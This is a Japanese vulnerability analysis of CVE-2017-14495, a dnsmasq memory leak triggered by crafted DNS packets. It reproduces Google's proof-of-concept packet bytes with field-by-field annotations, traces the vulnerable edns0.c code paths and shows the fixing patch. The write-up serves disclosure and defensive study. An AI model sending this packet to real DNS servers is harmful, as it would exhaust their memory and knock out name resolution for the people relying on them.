スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Behind Behind the Masq : CVE-2017-14495

タイガーチームセキュリティレポート

Behind Behind the Masq : CVE-2017-14495

Behind the Maskといえば1979年に発表されたYMOの楽曲であり、テクノポップであるにも関わらずロックっぽいと評判の、長年愛されている名曲です。このレポートはそのMaskではなくdnsmasqの脆弱性の裏側を覗き見るものです。

CVE-2017-14495はGoogle社によって発見され、2017年10月2日に公開された7件のdnsmasqの脆弱性のうちの一つです。これらの脆弱性は2.77以前のバージョンのdnsmasqに存在し、対策は2.78以降へのバージョンアップです。

このレポートでは、公開されたPoCやdnsmasqのcommit diffなどの情報をもとに、攻撃の中身を解析していきます。

関連 :
Behind Behind the Masq : CVE-2017-14491
Behind Behind the Masq : CVE-2017-14492
Behind Behind the Masq : CVE-2017-14493
Behind Behind the Masq : CVE-2017-14494
Behind Behind the Masq : CVE-2017-13704
Behind Behind the Masq : CVE-2017-14496

攻撃の流れ

細工したDNSリクエストをdnsmasqが受け取ると、特定サイズのメモリ領域を新しく確保して解放し忘れるため、繰り返し攻撃を受け続けることで Out of Memory 例外で異常終了します。

Attackerdnsmasq細工したDNSパケット細工したDNSパケット細工したDNSパケット細工したDNSパケットOut-of-Memory

PoC実行結果

Google社が公開したPoCを実行してみた様子です。左上のウインドウがdnsmasq、右上はAttacker、下はそれぞれのコンテナのメモリ使用量を監視するためのdocker statsです。PoCを起動後はdnsmasqのコンテナ(id:1515b0909ae8)のメモリ使用量が増加し続け、最終的にdnsmasqがKillされていることがわかります。

この検証では、dnsmasqが稼働するコンテナのメモリ搭載量を16MBに制限したため、数秒でOOMが発生していますが、より大きいメモリを搭載している場合は、このPoCの場合はKillされるまでもっと多くの時間がかかります。

パケット解析

検証に使用したPoCはこちらです。まずはパケット生成コードを引用します。

def oom():
  data = '''01 0d 08 1b 00 01 00 00  00 00 00 02 00 00 29 04
00 00 29 00 00 00 03 00  00 01 13 00 08 01 13 79
00 00 00 00 00
  '''.replace(' ', '').replace('\n', '').decode('hex')
  data = data.replace('\x00\x01\x13\x00', '\x7f\x00\x00\x01')
  return data

このパケットは公開されたPoCの中でも最もわかりにくいものの一つです。わかりやすく書き直してみましょう。dnsmasqはこのパケットを以下のように解釈します。

  data = b"".join([
    # ---- header
    '\x01\x0d',    # ID
    '\x08\x1b',    # flags
    '\x00\x01',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x02',    # ARCOUNT

    # ---- Question Section
    '\x00',             # QNAME
    '\x00\x29',         # QTYPE
    '\x04\x00',         # QCLASS

    # ---- Additional Record(1)
    '\x00',             # NAME
    '\x29\x00',         # TYPE
    '\x00\x00',         # CLASS
    '\x03\x00\x7f\x00', # TTL
    '\x00\x01',         # RDLEN
    '\x08',             # RDATA

    # ---- Additional Record(2)
    '\x01\x13\x79\x00\x00\x00\x00\x00' # NAME(Malformed)
  ])

または、

  data = b"".join([
    # ---- header
    '\x01\x0d',    # ID
    '\x08\x1b',    # flags
    '\x00\x01',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x02',    # ARCOUNT

    # ---- Additional Record(1)
    '\x00',             # NAME
    '\x00\x29',         # TYPE(OPT)
    '\x04\x00',         # CLASS
    '\x00\x29\x00\x00', # TTL
    '\x00\x03',         # RDLEN
    '\x00\x7f\x00',     # RDATA

    # --- Additional Record(2)
    '\x00',             # NAME
    '\x01\x08',         # TYPE(is not OPT)
    '\x01\x13',         # CLASS
    '\x79\x00\x00\x00'  # TTL
    '\x00\x00'          # RDLEN
  ])

です。

不思議なことが起こっているように見えるかもしれませんが、この世に不思議なことなど何もないのです。このパケットはdnsmasqの針の穴を突くような緻密な計算によって成り立っています(実際に緻密な計算を行ったかどうかはわかりません)。と同時に、dnsmasqの作りの悪さも表しています。

ヘッダ部

まずは、ヘッダ部です。コードはこちら。

  data = b"".join([
    # ---- header
    '\x01\x0d',    # ID
    '\x08\x1b',    # flags
    '\x00\x01',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x02',    # ARCOUNT

フォーマットはrfc1035 Header section formatです。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

IDについては説明を割愛します。flagsで重要なのは、OpCodeです。OpCodeのアサインメントはこちらにまとまっています。flagsの値を2進数で表現すると0000 1000 0001 1011で、OpCodeに当てはまるのは、2ビット目からの4ビット分の0001です。 意味はInverse Queryで、rfc3425でOBSOLETEになっています。ここで重要なのは、OpCodeQuery(0)ではないという点です。覚えておきましょう。

もう一つのポイントは、QDCOUNTが1で、ARCOUNTが2であることです。これも覚えておきましょう。QDCOUNTはQuestion Sectionのレコード数を、ARCOUNTはAdditional Sectionのレコード数を表しています。

リソースレコード部 パターンA

先に、2パターンの解釈方法があると書きました。これは一つ目の解釈で、ヘッダのレコードカウンタに則って解釈する通常の方法です。このパケットは、QDCOUNTが1で、ARCOUNTが2なので、Question Sectionに1件、Additional Sectionに2件のレコードが存在すると判断されます。

パターンA Question Section

Question Sectionのレコードフォーマットはこちらです。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                                               |
/                     QNAME                     /
/                                               /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QTYPE                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QCLASS                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

当てはまるコードはこちらです。

    # ---- Question Section
    '\x00',             # QNAME
    '\x00\x29',         # QTYPE
    '\x04\x00',         # QCLASS

このレコードの内容は、攻撃には絡みません。

パターンA Additional Record(1)

リソースレコードのフォーマットはrfc1035で定義されています。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                                               |
/                                               /
/                      NAME                     /
|                                               |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      TYPE                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     CLASS                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      TTL                      |
|                                               |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                   RDLENGTH                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
/                     RDATA                     /
/                                               /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

コードはこちら。

    # ---- Additional Record(1)
    '\x00',             # NAME
    '\x29\x00',         # TYPE
    '\x00\x00',         # CLASS
    '\x03\x00\x7f\x00', # TTL
    '\x00\x01',         # RDLEN
    '\x08',             # RDATA

このレコードはAdditional Recordとして認識されますが、これも攻撃には絡みません。重要なのは次のレコードです。

パターンA Additional Record(2)

    # ---- Additional Record(2)
    '\x01\x13\x79\x00\x00\x00\x00\x00' # NAME

パケットはこれで終わってしまいます。NAMEフィールドの書式はrfc1035 3.1. Name space definitionsに定義されています。ラベルの長さを表すデータ(1オクテット)と、その長さの分のラベルを連結し、0x00で終端します。この仕様に基づいて上記のNAMEを読むと、次のようになります。

lengthlabellengthlabel
10x131210x000x000x000x000x00

二つ目のラベルの長さが0x79 = 121と指定されているのに、それに続くラベルは5バイトしかありません(ラベルがasciiじゃないという問題もありますが)。そのため、このレコードは不正なレコードとして処理されます。これがこのレコードの役割であり、重要なポイントです。

リソースレコード部 パターンB

二つ目の解釈です。これは、DNSヘッダのQDCOUNTを無視して、Additional Recordのみ存在する、とみなされるパターンです。dnsmasqはEDNS(0)OPT Pseudo-RR(OPTレコード)を探す際、条件によってはQuestion Sectionを解釈しません。その場合、QDCOUNTに1が入っているにも関わらず、1件目のリソースレコードをEDNS(0)のpseudo headerであると判断します。

パターンB Additional Record(1)

当てはまるのがこちらです。

    # ---- Additional Record(1)
    '\x00',             # NAME
    '\x00\x29',         # TYPE = OPT
    '\x04\x00',         # CLASS(udp_size = 1024 bytes)
    '\x00\x29\x00\x00', # TTL(Extended RCODE and flags)
    '\x00\x03',         # RDLEN
    '\x00\x7f\x00',     # RDATA

このレコードのTYPEOPT = 0x0029 = 41なので、この場合はOPTレコードであると判断されます。OPTレコードは、DNSパケットのサイズやOpCodeなどを拡張するためのものです。たとえば、元々はリソースレコードのクラスを表現するCLASSフィールドは、EDNS(0)ではクライアントのUDPペイロードサイズを通知する領域として利用されます。また、リソースレコードのキャッシュ期間を表すTTLは、EDNS(0)ではRCODE(リターンコード)や、VERSIONなどを格納する領域として利用されます。

このレコードのポイントは、TYPEがOPTであるという点と、RDLENが3であるという2点です。

パターンB Additional Record(2)

コードはこちらです。

    # --- Additional Record(2)
    '\x00',             # Name
    '\x01\x08',         # TYPE
    '\x01\x13',         # CLASS
    '\x79\x00\x00\x00'  # TTL
    '\x00\x00'          # RDLEN

大事なのはTYPEOPT = 0x0029 = 41ではないという点です。 このレコードの役割は「OPTレコード(1件目のAdditional Record)が最終レコードではない」という状態にすることです。

罹患箇所

パケットの内容がわかったら、罹患箇所を眺めてみましょう。問題は、add_pseudoheader関数内でmallocした後、freeせずにreturnすることにあります。 参照するコードは全てバージョン2.78test2のものです。

mallocsrc/edns0.c#177if文中、buff = whine_malloc(rdlen)で行われています。

      /* If we're going to extend the RR, it has to be the last RR in the packet */
      if (!is_last)
        {
          /* First, take a copy of the options. */
          if (rdlen != 0 && (buff = whine_malloc(rdlen)))
            memcpy(buff, datap, rdlen);

whine_malloc関数は、callocシステムコールのラッパ(src/util.c#272-280)で、領域確保に失敗した場合にエラーメッセージをログ出力する機能が追加されています。

続いて、returnするのはsrc/edns0.c#195です。

  if (!p)
    {
      /* We are (re)adding the pseudoheader */
      if (!(p = skip_questions(header, plen)) ||
          !(p = skip_section(p,
                             ntohs(header->ancount) + ntohs(header->nscount) + ntohs(header->arcount),
                             header, plen)))
        return plen;

PoCはどのようにこのルートを通しているのでしょうか。

mallocされるまで

宴の支度はadd_pseudoheader関数に入ったところから始まります。場所はsrc/edns0.c#100です。 add_pseudoheader関数の目的は、受け取ったパケットからEDNS(0)のpseudo-RR(OPTレコード)を探し出し、存在しない場合はOPTレコードを追加することにあります。存在するOPTレコードが最終レコードでなかった場合は、一旦削除して末尾に付け直します。

size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *limit,
                        unsigned short udp_sz, int optno, unsigned char *opt, size_t optlen, int set_do, int replace)
{
  unsigned char *lenp, *datap, *p, *udp_len, *buff = NULL;
  int rdlen = 0, is_sign, is_last;
  unsigned short flags = set_do ? 0x8000 : 0, rcode = 0;

  p = find_pseudoheader(header, plen, NULL, &udp_len, &is_sign, &is_last);

最初に実行されるのは、リクエストパケットに存在するOPTレコードを探し出すfind_pseudoheaderです。find_pseudoheaderは、Question SectionとAnswer Section、Authority Sectionを読み飛ばして、Additional SectionからOPTレコードを探し出そうとします。

Question Sectionを読み飛ばす処理を見て見ましょう。src/edns0.c#31-54を引用します。

  if (is_sign)                       /* (1) */
    {
      *is_sign = 0;

      if (OPCODE(header) == QUERY)   /* (2) */
        {
          for (i = ntohs(header->qdcount); i != 0; i--)
            {
              if (!(ansp = skip_name(ansp, header, plen, 4)))
                return NULL;

              GETSHORT(type, ansp);
              GETSHORT(class, ansp);

              if (class == C_IN && type == T_TKEY)
                *is_sign = 1;
            }
        }
    }
  else
    {
      if (!(ansp = skip_questions(header, plen)))
        return NULL;
    }

この処理の前半部分はrfc2845への対応ですが、詳細は割愛します。この呼び出しではis_signポインタが渡されているので、if (is_sign)はTRUEです。続いて(2)で、ヘッダのOpCodeを調べています。PoCのOpCodeはInverse Query(1)なので、QUERY = 0(src/dns-protocol.h#36)とは一致しません。したがって、ここでは何も処理されません(is_signに0が代入されるだけです)。

何も処理されないコードをなぜわざわざ引用したかというと、find_pseudoheader関数において、Question Sectionを読み飛ばす処理はここにしかないためです。QDCOUNTには1がセットされているのに、この関数ではその値は無視されるのです。これによって、パターンBで解釈されることになります。

続いて、Additional Sectionを検索してOPTレコードを抽出する処理を引用します。場所は src/edns0.c#62-87です。

  for (i = 0; i < arcount; i++)
    {
      unsigned char *save, *start = ansp;
      if (!(ansp = skip_name(ansp, header, plen, 10))) /* (3) */
        return NULL;

      GETSHORT(type, ansp);
      save = ansp;
      GETSHORT(class, ansp);
      ansp += 4; /* TTL */
      GETSHORT(rdlen, ansp);
      if (!ADD_RDLEN(header, ansp, plen, rdlen))
        return NULL;
      if (type == T_OPT)                               /* (4) */
        {
          if (len)
            *len = ansp - start;

          if (p)
            *p = save;

          if (is_last)
            *is_last = (i == arcount-1);               /* (5) */

          ret = start;                                 /* (6) */
        }

パターンBのAdditional Record 2件について検査が行われます。(3)では、NAMEフィールドの読み飛ばしが行われ、続くGETSHORTでもデータの取り出しとポインタを進める処理が行われます。(4)では、現在参照しているレコードのTYPEを調べています。パターンB、1件目のAdditional RecordはOPTなので、if文の中に入ります。そして、(5)でis_lastフラグには0(false)が代入され、(6)で返却値retに当該レコードの先頭アドレスを指すポインタを退避します。

2件目のAdditional Recordではどうなるかというと、(4)でTYPEがOPTと一致しないので、if文の中には入りません。(5)も(6)も通らないので、この関数はis_lastフラグがfalseな状態で、1件目のAdditional Recordを返却します。

次のコードを見てみましょう。1件目のAdditional Recordをpに受け取ったadd_pseudoheaderは、それが最終レコードではなかった場合に、そのレコードを削除するという処理を行います。それが以下のコード、src/edns0.c#173-185です。

      /* If we're going to extend the RR, it has to be the last RR in the packet */
      if (!is_last)                                           /* (7) */
        {
          /* First, take a copy of the options. */
          if (rdlen != 0 && (buff = whine_malloc(rdlen)))     /* (8) */
            memcpy(buff, datap, rdlen);

          /* now, delete OPT RR */
          plen = rrfilter(header, plen, 0);                   /* (9) */

          /* Now, force addition of a new one */
          p = NULL;                                           /* (10) */
        }

先ほど見てきたように、find_pseudoheader関数によってis_lastフラグは0(false)にセットされているので、この処理の中に入ります(7)。(8)は、これから削除しようとするレコードのRDATA領域をbuffに一旦退避するという処理です。退避したbuffは後ほど追加するOPTレコードにくっつけるつもりです。確保されるサイズはパターンB Additional Record(1)のRDLENに指示されるので3バイトです。ここで確保した3バイトのbuffが解放されることはありません。はい。ひとつ目の罹患箇所です。

(9)のrrfilterは既存のOPTレコードを削除する処理ですが、この関数ではパターンAで解釈され、2件目のAdditional Recordのパースに失敗するため、レコードを削除する前にreturnしてしまいます(src/rrfilter.c#184-185)。パースエラーにならなかったとしても、パターンAにはOPTレコードが存在しないのでデータが削除されることはありません。

最後に、(10)でOPTレコードの先頭アドレスを指し示すpをNULLで上書きすることで、続く処理にOPTレコードの追加を促します。

これで、宴の支度は整いました。

freeせずにreturnするまで

コードを引用します。src/edns0.c#188-195です。

  if (!p)                                         /* (11) */
    {
      /* We are (re)adding the pseudoheader */
      if (!(p = skip_questions(header, plen)) ||  /* (12) */
          !(p = skip_section(p,
                             ntohs(header->ancount) + ntohs(header->nscount) + ntohs(header->arcount),
                             header, plen)))      /* (13) */
        return plen;

(11)では、pにアドレスがセットされているかどうかを調べています。リクエストパケットにOPTレコードが存在しない場合か、最終レコードでなかったために削除された場合には、trueになります。今回は最終レコードではなかったためにpはNULLで上書きされましたので、この分岐の中に入ります。

続いて、(12)と(13)です。ここではパターンAで解釈されます。(12)でQuestion Sectionを読み飛ばし、(13)では全てのResource Recordsを読み飛ばそうとしています。目的はパケットの末尾+1のアドレスを得ることです。ところが、(13)にて、パターンA Additional Record(2)のパースに失敗して、NULLリターンしてしまいます(src/rfc1035.c#327-328)。 結果として、(12)はfalseなのですが、(13)がtrueになるので、returnしてしまいます。

ここまで見てきた一連の処理で、3バイト分のメモリ領域が確保されます。1件のリクエストで3バイトです。多量の攻撃パケットを受信することで、この処理を繰り返し、最終的にはOOMが発生するに至ります。

修正内容

この脆弱性を修正するcommit diffを見てみましょう。

--- a/src/edns0.c
+++ b/src/edns0.c
@@ -192,9 +192,15 @@ size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *l
          !(p = skip_section(p,
                             ntohs(header->ancount) + ntohs(header->nscount) + ntohs(header->arcount),
                             header, plen)))
+      {
+       free(buff);
        return plen;
+      }
       if (p + 11 > limit)
-       return plen; /* Too big */
+      {
+        free(buff);
+        return plen; /* Too big */
+      }
       *p++ = 0; /* empty name */
       PUTSHORT(T_OPT, p);
       PUTSHORT(udp_sz, p); /* max packet length, 512 if not given in EDNS0 header */

returnする前にbufffreeする処理が追加されました。 これで、繰り返し攻撃を受けてもメモリを圧迫することはなくなります。

ちなみに、二つ目のreturnはCVE-2017-14496の対応で追加されたコードです。

まとめ

CVE-2017-14495を検証しました。dnsmasqの実装には好ましくない点があります。気づいた方も多いかもしれませんが、入力、加工、出力という3フェーズのうち、入力と加工が完全に同化しています。つまり、入力データをパースしながら加工を行なっているのです。場所によっては、加工後のデータをまたパースして加工しています。入力データそのものを加工してレスポンスデータを作成している点も好ましくありません。

修正内容も場当たり的ですが、根本対策を行うには大規模な改修が必要になってしまうので、已むを得ないでしょう。

性能を確保してメモリ使用量を抑えるために、このような実装にしているという可能性はあります。または、拡張に拡張を重ねるDNSというプロトコルに対応してきたためかもしれません。いずれにせよ、複雑な仕様を実装に落とし込んでいく過程で、dnsmasqは今後も細かいチェックをコードの端々で行うことになると思われます。

参考情報

[1] Behind the Masq: Yet more DNS, and DHCP, vulnerabilities (Google Security Blog)
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

[2] google / security-research-pocs (github)
https://github.com/google/security-research-pocs

[3] dnsmasq (thekelleys)
http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=summary

[4] google / sanitizers (github)
https://github.com/google/sanitizers

[5] rfc3425 Obsoleting IQUERY (IETF Tools)
https://tools.ietf.org/html/rfc3425

[6] rfc1035 DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION (IETF Tools)
https://tools.ietf.org/html/rfc1035

[7] rfc6891 Extension Mechanisms for DNS (EDNS(0)) (IETF Tools)
https://tools.ietf.org/html/rfc6891

[8] rfc2845 Secret Key Transaction Authentication for DNS (TSIG) (IETF Tools)
https://tools.ietf.org/html/rfc2845

[9] Domain Name System (DNS) Parameters (IANA)
https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml

[11] ビハインド・ザ・マスク_(曲) (Wikipedia)
https://ja.wikipedia.org/wiki/ビハインド・ザ・マスク_(曲)

[12] 文庫版 塗仏の宴 宴の始末 [京極夏彦 講談社文庫]
http://bookclub.kodansha.co.jp/product?isbn=9784062738590

修正履歴

  • 2017/12/18 : シーケンス図を修正しました。

R&D部準備室 柏崎央士